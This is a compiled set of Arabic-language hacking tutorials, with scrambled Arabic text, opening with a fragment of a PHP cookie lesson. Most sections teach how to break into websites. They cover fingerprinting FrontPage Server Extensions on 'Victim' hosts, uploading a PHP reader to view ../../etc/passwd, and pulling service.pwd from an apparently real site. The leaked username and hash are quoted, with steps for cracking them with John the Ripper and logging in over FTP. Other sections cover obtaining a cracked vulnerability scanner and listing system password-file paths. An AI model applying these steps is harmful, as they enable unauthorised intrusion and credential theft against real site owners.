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function clear_color(){  
  

setcookie('color',$_GET['color'],time()-36000);  
  

header('Location:index.php');  
  
}  
  
 
  

// selection  
  
 
  

if ($do=='display_form'){  
  

display_form();  
  

}elseif ($do=="set_color"){  
  

set_color();  
  

}elseif ($do=="clear_color"){  
  

clear_color();  
  
}  
  

?>  
  

 
 
ختیار اللون  display_form الدالة الاولى - ض نموذج ا  .تقوم فقط بعر
حفظ اللون set_color الدالة الثانیة - رئیسیة  تقوم ب حة ال  .المختار في كعكة و ترجع المستخدم الى الصف
 مة فانها ترجع لونترجع قیمة اللون من الكعكة و اذا لم یكن هنالك قی get_color الدالة الثالثة -

ض  ضي وهو الابی  .افترا
رابعة - ریقة clear_color الدالة ال رناها في الدرس  تقوم بمسح الكعكة بالط  .التي ذك
 
ف الـ-٢   : index.php  مل

ف عادي جداً الا انه ف get_color یطلب الدالة مل   :كما یلي  user.php من مل
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code:  
  

<html>  
  

<BODY bgcolor="<? include('user.php');   
  

echo get_color() ?>">  
  

<h1> حبا بك ر   <h1/>.....م
  

<br>  
  

ص لون الخلفیة من هنا   یمكنك تخصی
  

<br>  
  
 
  

<a href="user.php?do=display_form"> ص اللون حة تخصی   <a/>صف
  

</body>  
  

</html>  
  

  
 
…..  
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 "ونت بیج معلومات مهمة عن المواقع التي تدعم الفر" 
  

$$$$$$$$$$$$$$$$$$$  
   T.O.L. ( DeXXa ): الكاتب

$$$$$$$$$$$$$$$$$$$  
  

ءة هذا الدرس    : ما الذي یجب أن تعرفه قبل قرا
  
  .  الالمام بالانجلیزیة *
ءة المزید عن الـ * ختراقه FrontPage Server Extensions قرا س كیفیة ا   .  و لی
ج * رنام ل مع ب    . Microsoft Office FrontPage كیفیة التعام
ل مع الـ *    . CHMOD كیفیة التعام
ل مع الـ *    . Telnet كیفیة التعام
روتوكول * ل مع ب    . HTTP كیفیة التعام
ت العلائقیة * ل مع قواعد البیانا    . SQL كیفیة التعام
حیة الخادم * ل بنا ت الویب و التي تعم حد لغا ل مع أ  Server Side Scripting كیفیة التعام

Language .   
  

ت و  ل النظم و الشبكا حلی رمجة و ادارة و ت ق ما هو إلا انسان وظیفته الب راً بأني اؤمن بأن المختر خی ر أ و اذك
ل  س انسان همه هو معرفة القلی   لی

ت في الدردشة و التسكع  رون و تضییع الوق خ ریب و العبث بما تعب به الآ من الأمور التي تساعده في التخ
ت ،  حتاج لـ بمقاهي الانترن حاً و لا ی ض ض بأن ما أقوله سیكون وا    . Screen Captureو لذا فافتر

  
ضوع @  ریطة المو   : خ

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
  
ضوع ؟ . ءة المو    ما الذي ستسفیده عند قرا
   مقدمة .
   ؟ FrontPage Server Extensions ما هو الـ .
ل الـ  ما هي آلیة ع.    ؟ FrontPage Extension Serverم
ل بـ .    FrontPage Extension Server كیفیة الاتصا
   أم لا FrontPage كیفیة معرفة هل الموقع یدعم الـ .
حك . صلا    كیفیة استغلاله لیصبح في 

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
  

ءتك@  ضوع ؟ما الذي ستستفیده عند قرا     للمو
  
ف ما هو الـ *     . FrontPage Server Extensionsستعر
  . آلیة عمله * 
ت الخاصة بأي موقع *    . كیفیة جمع المعلوما
ص به *  ل بالخادم الخا ق للاستفادة منه عند الاتصا ر ض الط   . بع
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  : مقدمة @ 
  

حة لعملائها ، فتجدهم  را ر شتى شبل ال ت التسكین بأنواعها توفی ت تسعى شركا ضا ض و التخفی یقدمون العرو
ء مثل دعم لـ  ء العملا ضا    و PHPلار

CGI و Perl و SSL و FTP و SQL .   
  

ء المواقع  م مواقعهم هو Webmastersو بالنسبة لمدار ج المفضل لهم لتصمی رنام  Microsoft فإن الب
Office FrontPage و الذي كما هو مبین یأتي   

حزمة  ت مثل عداد الزوار ، و لذا  ، اذ یتمیز بسهولة اOfficeمع  رمجیا ض الب ر بع ستعماله كما انه یوف
ج  رنام ل للب ت التسكین دعم كام   . تقدم شركا

  
   ؟ FrontPage Server Extensions ما هو الـ @
  
حظة (  حزمة الاصدار الثاني : ملا ت بعد  حزم التي أت حالیاً عن ال م    ) سأتكل
  

ج یتم تثبیتها ف رام حزمة من الب ركة التسكین التي لها قالبیة Serverي الخادم هو عبارة عن  ص بش  الخا
ص  ض الخصائ   . لدعم بع

  
ت منها  ء عدة مجلدا ت یجب انشا   : و عند التثبی

  
/_private   
/_vti_bin   
/_vti_cnf   
/_vti_log   
/_vti_pvt   
/_vti_txt   

  
م عن وظیفة كل مجلد یهمنا    : و سأتكل

  
   : vti_bin_المجلد * 
  

خل   : ه مجلدان هما و یتواجد بدا
  
حظة (  ران إلى المجلد : ملا    ) vti_bin_النقطتان تشی
  

/.._vti_adm /  
/.._vti_aut /  
  

حصل  ف ولا تستطیع الاستفادة منه اذا لم ت ر ص بالمش الثاني لا یهمنا بقدر ما یهم المجلد الأول اذ أنه الخا
رور الخاصة به    . على كلمة الم

  : كما یوجد ملفان هما 
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/..shtml.exe   
/..fpcount.exe   
  
   : vti_pvt_المجلد * 
  

ت التالیة  ت ما یهمنا منها هو الملفا خله عدة ملفا   : و یتواجد بدا
  
ف - ف مشفرة بمقیاس  : service.pwd المل ر رور الخاصة بالمش ف و كلمة الم و فیه یتواجد المعر

DES .   
ف - رفین و  : service.grp المل    . authorsو فیه یتواجد المعرفین من مش
میلها على  : doctodep.btr و deptodoc.btr ملفي - ح ت التي تم ت ت الملفا و فیه یتواجد مسارا

ت  ت بتنزیله فتستطیع معرفة الملفا   الخادم ، فاذا قم
  . الموجودة بالموقع 

  
ف  رئیسي للموقع مل ت المجلد اذ یوجد في المجلد ال حتویا  htaccess.و في الغالب لا تستطیع معاینة م

  المالك و المجموعة و ( یقوم بمنع الجمیع 
حتویاته ) الزوار    . من معاینة المجلد و م

  
حظة (  حیة : ملا ضعف من النا ر ثغرة و لكن  حیة على المجلدلا یعني بأنها تعتب صلا ضع أي    ) ان عدم و
  
   : private_المجلد * 
  

حد فقط هو  ف وا خله مل    . htaccess.و یتواجد بدا
  

   ؟ FrontPage Extension Serverل الـ ما هي آلیة عم@ 
  

ل و الـ  ل بین العمی روتوكول الـ FrontPage Extension Serverیعتمد الاتصا    . HTTP على ب
  

ج الـ  رنام ق ب ری ط طلب FrontPageفلو اردنا معاینة عداد الزوار عن  ل   Request فانه یتم ارسا
رره الخادم بالـ     FrontPage Extension Serverللخادم ثم یم

ت الخادم مثل  رمجیا رره بالتالي بب ى إلى الـ fpcount.exeو الذي یم ر خ رة أ ره م ری  ، و من ثم یكرر تم
Extension Server ت رجا ر المخ    و إلى الخادم و یظه

ر جدار نار  ت تتم عب ماً ان هذه الاتصالا ل ، عل   . لـ العمی
  

ل بـ @     : FrontPage Extension Serverكیفیة الاتصا
  

خدمة الـ كما ذ ء ، فتجدها تدعم  حة العملا را ت التسكین تسعى ل رنا سابقاً ان أغلب شركا  و FrontPageك
ماً بأنها  ت للموقع عل حا ل الصف می ح   ذلك لت

روتوكول الـ  ت التي FTPتدعم ب رمجیا ر المتصفح اعتماداً على الب ت عب ء المجلدا ت و انشا ل الملفا می ح  و ت
حیة الخادم  ل بنا   . تعم

ل بالـ و الآن قم بت    : FrontPage Extension Serverنفیذ التالي لمعرفة كیفیة الاتصا
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حظة (  حزمة الـ : ملا حالیاً عن  م  ض النقاط XPسأتكل حزم الباقیة إلا في بع ف أبداً عن ال  و التي لا تختل
  ) الشكلیة 

  
ج الـ *  رنام ل ب حزمة FrontPageقم بتشغی رفقاً مع     . Office و الذي یأتي م
ختیار Fileمة من قائ*     . Open Web قم با
رور *  ف و كلمة الم ضافة المعر ت المشفرة ( قم با   ) . الأصلیة و لیس
ت و *  ل و التعدیل في الملفا می ح ت الموقع كلها و عندها تستطیع الت ر لك الخادم ملفا حة سیظه حی ص ت  اذا كان

ت و معاینة الشفرة المصدریة    المجلدا
ت    . للملفا

طئة و اذا لم تتم العملی*  خا رور  ف أو كلمة الم ح فهذا یعني بأن الموقع لا یدعم الخدمة أو أن المعر ة بنجا
ءة و لا  ضعیة القرا   یطلب منك معاینتها في و

حویها الموقع  ت التي ی ت و الملفا ر لك الشفرة المصدریة الأصلیة ولا المجلدا   . یظه
  

   : أم لا FrontPageكیفیة معرفة هل الموقع یدعم الـ @ 
  

ر منها یوجد ج نذك ت بی رون ق لمعرفة قابلیة الموقع لدعم الف ر   :  العدید من الط
  
ت *  ح التثبی ف نجا   : معاینة مل
  
حظة (  ف : ملا  و لكن هذا لا یعني أن الموقع لا یدعم الخدمة ، كما أنه لا vti_inf.html_قد لا تجد مل

ر ثغرة    ) یعتب
  
ف هل الخادم الخا-   .  أم لا FrontPageص به یدعم الـ  قم بزیارة أي موقع ترید أن تعر
ف - ل vti_inf.html_ قم بمعانیة مل   :  بواسطة المتصفح و ذلك بارفاقه بعنوان الموقع ، مثا
  

http://www.Victim.com/_vti_inf.html   
  
حة ستجد جملة -  ، فهذا معناه FrontPage Configuration Information و عند معاینة الصف

حزمة الـ     قد تم تثبیتها FrontPage Extension Serverأن 
ح    . في الخادم بنجا

  
  : و لمعرفة اصدارة الخدمة قم بالتالي 

  
ختیار - حة ، ثم قم با ر بزر الفأرة الأیمن على الصف    . Source Code قم بالنق
حث عن - ص بالخدمة Versionحیث " FPVersion="Version قم بالب ر للاصدار الخا   .  تشی
  
ق مجل*  ری ط    : vti_cnf_د عن 
  
ص به یدعم الـ - ف هل الخادم الخا   .  أم لا FrontPage قم بزیارة أي موقع ترید أن تعر
ل -   :  قم بمعانیة المجلد بواسطة المتصفح و ذلك بارفاقه بعنوان الموقع ، مثا
  

http://www.Victim.com/_vti_cnf   
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ختی- حة ، ثم قم با ر بزر الفأرة الأیمن على الصف    . Source Codeار  قم بالنق
حث عن الشفرة التالیة -   :  قم بالب
  

vti_generator:Programe   
  
حیث -  Programe حالتنا هو ج و اصدارته و سیكون في  رنام ر لنوع الب  Microsoft یشی

FrontPage X و الاصدارة الخاصة به هي X .   
  
حة *  ف عن الشفرة المصدریة للصف   : الكش
  
ص به یدعم الـ  قم بزیارة أي موقع ترید- ف هل الخادم الخا   .  أم لا FrontPage أن تعر
ختیار - حة ، ثم قم با ر بزر الفأرة الأیمن على الصف    . Source Code قم بالنق
حث بین ترمیزي الرأس -   : عن الشفرة التالیة > Head></Head< قم بالب
  
>Meta Name="GENERATOR" Content="Programe" <  
  
حیث -  Programeرم ج هو  ی رنام ج و اذا كان الب رنام  Microsoft FrontPage X.0ز لنوع الب

ج و  ت بی رون ص بالموقع یدعم الف   یتبین لنا بأن الخادم الخا
   . Xالاصدارة الخاصة به هي 

  
ق موقع *  ری ط    : NetCraftعن 
  
   . NetCraft.net قم بزیارة الموقع -
  :// . http قم بكتابة عنوان الموقع مستثنیاً الـ -
ر بضع ثواني  -   .  انتظ
ت الموجودة في الموقع الذي ترید معرفة - ت عن الملقم و الخدما ض المعلوما  ستجد أن الموقع أعطاك بع

ت  ج ، و من تلك الخدما رنام   قابلیة دعمه للب
ر لك بالشكل FrontPageخدمة الـ  حیث mod_frontpage/X و ستظه  X رمز لاصدارة الـ  ی

FrontPage Extensions Server .   
  
ق الـ *  ری ط    : Telnetعن 
  
حظة (  ت : ملا رجا س مخ ت هي نف رجا ت عن الخادم و المخ ض المعلوما تساعد هذه الطریقة في معرفة بع

  ) الطریقة السابقة 
  
ختیار Start من قائمة - ر Run قم با    . Telnet و اكتب بالنافذة التي ستظه
ر المنفذ - ل بالموقع عب   : لي  بالشكل التا٨٠ قم بالاتصا
  

Microsoft Telnet> Open www.Victim.com 80   
  
طلب - ل  ریقة Request قم بارسا    . Head هي Method للخادم و لتكن الط
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حظة (  روتوكول : ملا ل مع ب    ) HTTPعلیك الالمام بكیفیة التعام
  
حیث - ل التالي  حیة و http://www.Victim.net قم بارسا ض روكISP.net هو الموقع ال سي  هو الب

ص بك  ص بمزود الخدمة الخا   : الخا
  

Head www.Victim.net HTTP/1.1   
Host: ISP.net   

Accept */* :  
Connection: close   

  
ر بضع ثواني  -   .  انتظ
م الاجابة - ر تعدیل Server عن الطلب الذي ارسلتهب للخادم Response ستستل خ خ آ  مثل تاری

ت المتوفرة  حة و نوع الملقم و الخدما   . به للصف
خدمة الـ  س الذي وجدناه في الطریقة السابقة و هو أن  ت ستجد نف ضمن الخدما  و FrontPageو من 

ر لك بالشكل     mod_frontpage/Xستظه
رمز لاصدارة الـ Xحیث     . FrontPage Extensions Server ی

  
حك @  صال   : كیفیة استغلاله لیصبح في 

  
ت على موقع یدعم هذه الخدمة و لم ی ر ت على مجلد الـ اذا عث حیا صلا ضع    :  قم بالتالي vti_pvt_تم و

  
حظة (  حالتنا فهي الـ : ملا حیة الخادم و في  ل على نا  ، كما أن على الموقع PHPعلیك الالمام بلغة تعم

حیة دعم هذه اللغة  ض   ) ال
  
حیة *  ل بالموقع الض   . قم بالاتصا
ف ینتهي امتداده بـ *  ل مل می ح ضمنه التالي PHPقم بت    : و 
  
   PHP<؟
  
$open = FOpen($file, "r(" ؛  
$get = FGets($open, FileSize($file(( ؛  
  

Echo $get ؛  
  

FClose $open ؛  
  

  ؟> 
  

ف  رفع مل حجمه PHPو قمنا هنا ب حسب  حتویاته على  ر م ض ح ر معین ثم ی ف غی  للخادم یقوم بفتح مل
ف ، و الآن كل  ق المل ضه ثم یغل ت ثم یعر   بالبای
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ر ما علیك فعله الآ حملته و المتغی ف الذي  حاقه بـ بعنوان المل ر المتصفح و ال خول على الموقع عب ن هو الد
file ف الذي ترید معاینة الشفرة    و المل

ل    : المصدریة الخاصة به ، مثا
  

http//:www.Victim.com/uploded_file...../../etc/passwd   
  

حمیله uploded_fileحیث  ت بت ف الذي قم ر لاسم المل ر تسمح لك بمعاینة  یشی ضافة اوام ، و تستطیع ا
ت الموجودة في الخادم  ت و المجلدا   ....الملفا
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  "في اختراق المواقع بثغرة الفرونت بیج ) >ج&س<" (
  

$$$$$$$$$$$$$$  
ص العربي: الكاتب   القنا

$$$$$$$$$$$$$$  
  
ص العربي*: س خي القنا  :)السلام علیكم أ
ف*: ج ص العربي المزی  D: أهلین القنا
 
حم *: س حم أ ج، أ ت عایز أسألك شویة أسألة في الهاكن  .أنا كن
ق الأجهزة ، حبیبي  تفضل*: ج خترا ت ماتكون عن ا س یاری ل هذا ، ب  !!ولعب العیا
  
ر  , لا لا*: س ت كثی  :)أنا تطو
 :)أوكى تفضل *: ج
  
ت: ٢س را را عن ثغ ت كثی ج  لقد سمع ت بی رون ریقة استخدام هذه الثغرة ، الف ط ضیح   .هل یمكنك تو
حبي ومن: ٢ج  D: عیوني الاثنین بالتأكید 

ل ج بتكون موجودة في أنظمة التشغی ت بی رون ت الف را رفراتها الـ NT & Unix طبعا ثغ  التي یدعم سی
FrontPage , ر الأدمین  :)تبع الموقع  وبتمكنك من معرفة كلمة س

ر هذه بتكون موجودة ف ت الس توكلما  :التالیة ي الملفا
Administrator.pwd 

Administrators.pwd 
Authors.pwd 

Users.pwd 
 vti_pvt_ بتكون عادة في المجلد التي

ف مثلا  (: pwd.eservic/_vti_pvt/com.tradesystemlab.www://http :مثل هذه المل
ف وبعد ریبا service.pwd فتح المل خله هكذا تق  :هتلاقي مكتوب بدا

# -FrontPage- 
tradesys:FpNTpIDWSk872 

ر المشفرة واسم المستخدم  (: وهذه كلمة الس
 
  
ل على الموقع كأدمین بهذه، أووووه واااااو ممتاز : ٣س خ ف أد ت ؟؟ ولكن كی  S: الكلما
ف تي: ج ج ا رنام جیمكنك استخدام ب رنام ضع بدل , WS_FTP  بي مثل ب في عنوان الموقع  www أو 

ضعه في شریط العنوان ftp.ebnmasr.com :مثل هذا ftp كلمة وسیطلب منك الموقع اسم  , وقم بمو
رور للموقع   :)المستخدم وكلمة الم

 
  
حبیبي: ٤س ر هذه مشكور  ل باسم المستخدم وكلمة الس خ ش ماید  : ولكن لی

tradesys:FpNTpIDWSk872 ؟؟ (N) 
طه لأنها مشفرة : ٤ج ج، !! بكل بسا رنام ج مثل ب رنام ق ب ری ط رها عن   John The یمكنك فك تشفی

Ripper , نزله من هنا: john/com.openwall.www://http 
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ف، أها : ٥س ر ج  لكني ماأع رنام ح، أستخدم هذا الب ر ت ؟؟ممكن تش ح ص لو سم خي العزیز القنا  هولي أ
ف، :) أنا في الخدمة ، !! مني یاولد  لاتستأذن: ٥ج ضغطه : شو ج وتفك  رنام ت أول ماتنزل الب  هیكون، ان

ف , run الي یهمنا هو مجلد , doc & run :فیه مجلدین ماتفتح  عشان تسهل على نفسك وبدل: شو
ج وهالمشاكل وكما رنام ل على مجلد الب خ ف یعملالدوس وتد ض ما بیعر ء ن البع  : p: هالأشیا

حث في جهازك عن  أوكى ؟؟ , run وقم بنسخه والصقه في مجلد command.com :اب
ر هذه ف tradesys:FpNTpIDWSk872 :وجیب كلمة الس حطها في مل مثلا  passwd باسم txt و

ضعه في مجلد ر التالیةفیه الأو واكتب command.com افتح , john.exe ولا تقم بفتح , run و  :ام
john -single passwd.txt >> ت حث لك عن الكلما ریة التي تكون مطابقه لاسم المستخدم لیب  الس

john -i:Digits passwd.txt >> حث لك عن الأرقام فقط  لیب
john -i:Alpha passwd.txt >> ف رو ح حث لك عن ال رة لیب  الصغی

john -i:all passwd.txt >> حتما حث لك عن جمیع الا ت لیب ر  وأنا( ، لا طول أستخدم هذا الأم ، على 
 ( D: عشان كده بتطول عملیة الفك معي

ف هذا وبعدما ینتهي ر المشفرة والمفكوكه بالمل ج من فك الكلمة ستجد كلمة الس رنام  john.pot :الب
 
  
ر ، یااااااه : ٦س طول كثی ج  رنام رها، الب  ؟؟ متأكد أنه هیفك تشفی
رها: ٦ج خذ أسبوع ،  في النهایة أیوووووه لازم یفك تشفی ت لأنه، ) ؛حتى لو أ حتمالا  .بیجرب جمیع الا

حة ج بالضغط على أي زر من لو رنام حالة الب ف   :)المفاتیح  وممكن تعر
 
  
الله : ٧س حمد  ر، ال ت كلمة الس ص انفك  المستخدم ؟؟ لكن وین اسم , (Y) خلا
ر هذه: ٧ج  ) tradesys :تخدمالمس هیكون اسم , tradesys:FpNTpIDWSk872 :في كلمة الس

 : )یعني الكلمة الي بتكون قبل علامة 
 
  
ص : ٨س ت هالثغرة من الموقع ؟؟  ،قناااااا ف جب  $:ممكن تقولي كی
حث العشوائي ، ) ؛الخجلان  ولیه هالوجه،،، هههههههههه : ٨ج حة جبتها بالب ت لو كان ، أنا بصرا ولكن ان

ر عنك موقع ممكن ص مثل ب ح ج ف رنام ل علیه سكان بب ران تعم ج عم عشان تطلع  ( D: المفضل لدي( نام
ت را  :)الموجودة بالموقع  الثغ

 
  
ت ده : ٩س حد الأول  هأسأل، طیب أنا عندي سؤالین عالجواب الي فا حث العشوائي ، :) وا ریقة الب ط ایه 

 هذه ؟؟
م : ج ح حم أ ریقة ، أ حث یستخدم الـ :هذه الط رك ب ح حث عن ثغرة معینة في م قي عشان تلا spiders انك تب

رة رة بتستخدم السبایدرز ، فیها الثغرة هذه  مواقع كثییی طبعا مواقع كثی  لكن لن أقولك لك على أي، في 
حدة منها  رائیلي  walla.co.il :الا هذا الموقع، وا ج تكون مواقع  عشان معظم، وطبعا هذا موقع اس النتائ

رائیلیة   ) .؛اس
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م : ١٠س حث عن ثغرة، مممم ف یعني تب  !!مافهمتك زین ، معینه ؟؟  كی
ت: ١٠ج را حث عن ثغ ج  أنا واالله ماأستخدم هالمواقع الا للب ت بی رون حث عن $ ، :الف ت مثلا عایز تب یعني ان

حدة ، ایه ؟؟  هتكتب، الثغرة التي تم ذكرها سابقا  ر كلمة وا ت كاتب غی  (: (: service.pwd :هذه، مان
:) 
 
  
حبیبي ، أهاااااا  :١١س ت عایز أسألك، مشكور  ج السكان علىكن رام ل ب ت   كمان عن كیفیة عم را  :)الثغ
ت أو الـ: ١١ج را رة من الثغ ج هذه بتكون فیها مجموعة كبی رام وبتبدأ تجرب ثغرة  , EXPLOITES الب

ج ، ثغرة على الموقع  هذا  , EXPLOITES رهیییب عشان تجیب منه الـ وفي موقع، :) وتطلعلك النتائ
  .. .com.ussrback.www://http/ :هو
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

  
  
  
  
  
  
  
  
  
  

 " لتحلیل الموقع Shadow Scan Securityشرح برنامج " 
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$$$$$$$$$$$$$$$  

ر<>ـــدـ<>الـــ: الكاتب   ــ
$$$$$$$$$$$$$$$  

  
ج عن بسیطة نبذة رنام  :الب
ج هذا رنام ر هو الب ج أكث رام ف يف فعالیة الب ت اكتشا را ضا الثغ حة المنافذ وأی ل ولدیه المواقع ف المفتو  أعما

رة ق لن لكني كثی ر حدة لعملیة إلا أتط ح وهي فقط وا ف كیفیة شر ت اكتشا را ت ومعرفة المواقع في الثغ  النطاقا
ت وبالنسبة الموقع لهذا المستخدمة حها لن الباقیة للخیارا ف لأنها أشر خذ سو ت تأ ل وق ف لكني طوی  سو

حيش أقسم ج لهذا ر رنام ف عدة لأقسام الب ح وهو بالأعظم أبدئها وسو راج لكیفیة شر خ ت إ را  الموقع ثغ
ف من والمزید بها المسجل والمواقع به الخاصة والمنافذ  الوظائ

 
ل:أولا ج تنزی رنام  Shadow Scan Security الكراك وتنصیب الب
 

  منه أبسط مافیه
 

ل ج حم رنام  الوصلة هذي من الب
 

exe.SSS/com.lab-safety.www://http 
 

ل وبعد ل مایكتم می ح ل الت  هنا من الكراك حم
 

exe.5.35ityScannerShadowSecur/almodammer/net.sar3e.www://http 
 

ریقة  :الط
======================================== 

ل بعد می ح ج ت رنام ل وتنزیله الب   له SetUp وعم
  الكراك افتح
ر ذلك وبعد  :الصورة هذه ستظه
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+++++++++++ 
ضغط ][١][ٍ  الكراك تنفیذ لیتم ا

ضغ الكراك عملیة إتمام بعد ][٢][ روج هنا طا  للخ
======================================== 

 
ج شـــ &***** رنام ح الب ر  *****& ـــ

 
ف ح سو ختصار أشر   بالسؤال لي یتقدم أن أرجو الفهم علیه یصعب ومن با

 
ل بعد(= می ح ج ت رنام حه قم الب   قائمة من بفت
 Start ابدأ

حث ج ضمن عنه واب رام  الب
ج إیجاد بعد رنام  بفتح قم الب

ShadowScanSecurity 
 =)هذا لك لیأـتي

 
 -١- الشكل

 

 
 

ء  Scanner على الضغط أثنا
 

 -٢-الشكل
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ضافة =١ ى أیقونة بها والمقصود جدیدة سیاسة إ ر خ رقم وهي أ ل ولكن ٤ ال حم  تنشأ لأن ولاداعي( اسمك ت

حث  )الموجودة یكفیك لك جدیدة سیاسة أو با
ت =٢ حث لهذا إعدادا ضاوأ البا حك انا ی ر لاأنص ء بتغیی   الخیار هذا في أبدا شي
ف =٣ ت التي الجدید الموجه حذ  تصمیمك من ولكن ٤ رقم تشبه التي الأیقونة والمقصود صممته ان

ف هنا فبضغطك حذفها سو  ت
ربع وهو تظلیله علیك= ٤ ص به یوجد الذي الم حث خصائ ء كل عن الب  شي
رجوع= ٥ ف ل  الاول والإطار العملیة لأنها رجوع هناك أن ولاأظن للخل
ضغطها =٦ ت إذا ا  المتابعة أرد
 الإطار إزالة =٧
 

 -٣-الشكل
 

 
 
رجوع ) ١(   -٢- الشكل إلى لل

 التالیة العملیة إلى  الذهاب )٢ (
ء )٣(  ل إلغا  العملیة إكما

 
 -٤-الشكل
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ضافة +١+ حث موقع  إ  فیه للب
ضافة +٢+  وإلى من بي أي  إ
ل + ٣+ می ح ف نم ت ء مل حتوي كان سوا حث ترید مواقع على ی ت آي او عنها الب  بیا
ضافة  عند +٤+ حدیده وبعد موقع إ ء ت ف هنا الضغط أثنا ف سو حذ  ین
رجوع العودة + ٥+ ف إلى وال  -٣-الشكل :أي الخل
 العملیة إتمام + ٦+
روج إزالة + ٧+ ج واجه إلى الإطار من والخ رنام رئیسیة الب ل في السابقة الأزرار كباقي ال  السابقة الأشكا
 

 -٥-الشكل
 

ء ف السابقة الخطوة وفي Done الزر ضغط أثنا ر سو ربع هذا یظه ر الم  الكبی
ف هنا ومن حث نبدأ سو ت عن الب را ر الثغ ل الشكل أنظ ر لتفصی  أكث

 



 

  ١ ٤٤  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

 
 

 -٦-الشكل
 
ل وذلك Start Scan على الضغط بعد  الیمین الفأرة بزر والضغظ الموقع بتظلی
 

ر رقم ضغطك بعد قلیلا انتظ  -٥-الشكل في ١ ل
 

ف ج یقوم وسو رنام حث الب ت مع به الخاصة والمنافذ الموقع في بالب ضح هو كما النطاقا   الشكل هذا في مو
 

  
  

...  
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 "اماكن وجود ملف الباسورد في أنظمة التشغیل " 
  

$$$$$$$$$$$  
  بلاك هنتر: الكاتب

$$$$$$$$$$$  
  

س   في نطم لیونك
/etc/shadow  

صن میكروسیستیمز   في نظم 
/etc/shadow  

  بصفه عامه  BSDنظم ال في
/etc/master.passwd  
س رافیك   ARIX المسمى SGI في نظم السیلیكون ج

/etc/shadow  
  AIX نظام اي بي ام المسمى

/etc/security/shadow  
س بصفه عامه  س ((نظم یونك س (( -اتش بي یو اك ص ب (( 64 ترو یونك ریسك خا ریم ونظم ال  ٦٤المنف

ت الالفا  ض منتجا   )) )) ))وبع
/etc/shadow  

ر(( ت تعتمد تشفی   ))القوي  MD5 اغلب هذه الاصدارا
  (( NT - XP - 2000 )) نظم ویندوز بصفه عامه

ر  ف المفعل بتشفی  )) (( LanMan المل
/winnt/system32/config/sam  

ق عادة الا عند الاقلاع (( ف مغل حتى ولو  منهذا المل ل  طالما النظام یعم حه او نسخه  النظام ولا یسمح بفت
ت حیا صلا   ))الادمنیستریتور  كان لدیك 

طي (( حتیا ف الا   ))المل
/winnt/repair/sam or sam._  

ر  ت الویسل ل واصدارا روفیشینا س بي الب ر (( في الویندوز اك رف ر   ادفانسد-سی رف   ))سی
  WINNT لن تجد الویندوز في مجلد

  .Windows كن سیكون كالویندوز العاديول
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 ) "الجزء الأول(اختراق الموقع " 
  

$$$$$$$$$$  
  الكندور: الكاتب

$$$$$$$$$$  
  

  :مقدمه 
ف طه  Telnet سأعید تعری ر بسا ریقه اكث   ..من جدید و لكن بط

Telnet ء وصله بین جهازین ،و الجهاز المتصل یستخدم  هو ج یستخدم في إنشا رنام  عنوان الجهازب
ف و رقم المنفذ ف  Port المستهد ل علیه ،و الجهاز المستهد ر )الخادم(الذي سیتم الاتصا خ ج آ رنام  یشغل ب

(Daemon) ل ل والاستقبا ت  یستمع على هذا المنفذ و تتم عملیه الإرسا روتوكولا حد الب   .باستخدام أ
حیاتنا العملیة  ض أن هناك رجل في: تشبیه من  رنسا  نفتر فالمست(ف ت ) هد حوار ) المتصل(و أن ترید إقامة 

ت في مصر ) وصله(معه  ل فلابد.. و أن ض أنها الهاتف  (Telnet) لك من استخدام وسیله اتصا ر و لنف
رجل أن یضعه ث .. لكي یسمعك  (Daemon) على أذنه الذي لابد لل حد رجل لا یت ضا أن هذا ال ض أی ر و لنف

رنسی إذن.. العربیة  روتوكول المستخدم(ة فلابد لك من استخدام الف ث ) الب حد ل(حتى تت ل الإرسا ) والاستقبا
ریه  ح   .ب

ج أن ق نستنت رد وصله  Telnet مما سب روتوكول  .. )مثل الهاتف(هو مج و انه لابد لنا من معرفة الب
ل و حتى ننجح في الإرسا ل  ل  المستخدم في الاتصا ضا أنه لابد من . الاستقبا ف أی كما انه لابد لنا من أن نعر

رنا جب ل علیه  یتسمع على Daemon م راد الاتصا   .المنفذ الم
  FTP Client ك Telnet استخدام

ت المنفذ الذي روتوكول نقل الملفا حاله استخدامنا ب ل علیه في   FileTransfer Protocol سیتم الاتصا
   ..٢١في الغالب سیكون 
  أین الصعوبة إذن ؟

روتوكول FTP Client كـ Telnet نستخدم الصعوبة تكمن في أننا لكي ر بب  یجب علینا الإلمام بقدر كبی
FTP !!  

روتوكول  و ل مع هذا الب ض الأمثلة لإظهار كیفیة التعام ض بع ر   ..لكن هذا لن یمنعني من ع
ل ء الاتصا   بد

ل-١   ٢١بالمنفذ  ftp.zdnet.com و شبك على Telnet  قم بتشغی
ر لك   و هذا ما سیظه

Sources Code - شفرة  
220 l19-sj-zdnet.zdnet.com NcFTPd Server (licensed copy) ready.  

ق یسمي و ر الساب ل Banner السط ص با و هي  zdnet المستخدم في موقع FTP Daemon الخا
ف ف الموقع الذي سیتم التشبیك علیه  تختل ختلا ح. با رقم الموجود في البدایة یدل على نجا ل و  و ال الاتصا

ت    .هو رقم ثاب
ر Username لیة هي الولوج باستخدام اسم المستخدم الخطوة التا-٢ بما  .. Password و كلمة الس
  :استخدامه في الولوج للنظام كالتالي سیتم Anonymous تدعم المستخدم zdnet أن

  ستكتب
Sources Code - شفرة  

user anonymous  
   و سیستجیب الخادم بالتالي

 
Sources Code - شفرة  
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331 Guest login ok, send your complete e-mail address as password.  
ت التالي   ثم تكتب أن

Sources Code - شفرة  
pass @zorro  
ص بك ككلمة  Anonymous بالمستخدم و بالطبع عند الولوج رید الإلكتروني الخا ء عنوان الب تقوم بإعطا

ر  خذ ش و.. الس ریدك فیمكنك أن تكتب أي شئ یأ ء ب رید إذا لم ترد إعطا رمز(كل الب حتوي على ال   @ )أي ی
  و سیستجیب الخادم بالتالي

 
Sources Code - شفرة  

230-You are user #552 of 2000 simultaneous users allowed.  
230-  

230 Logged in anonymously.  
ر  خ ف من موقع لآ ر  إلا.. و بالطبع تلك الإستجابه قد تختل رقم في بدایة كل سط   ..في ال

ح  ت بالولوج إلى الخادم بنجا ت الآن قد قم   .أن
ت ل البیانا ل واستقبا ء وصله لإرسا ت عملیه الولوج للنظام یجب إنشا ت الموجودة أو ) بعد أن تم قائمه بالملفا

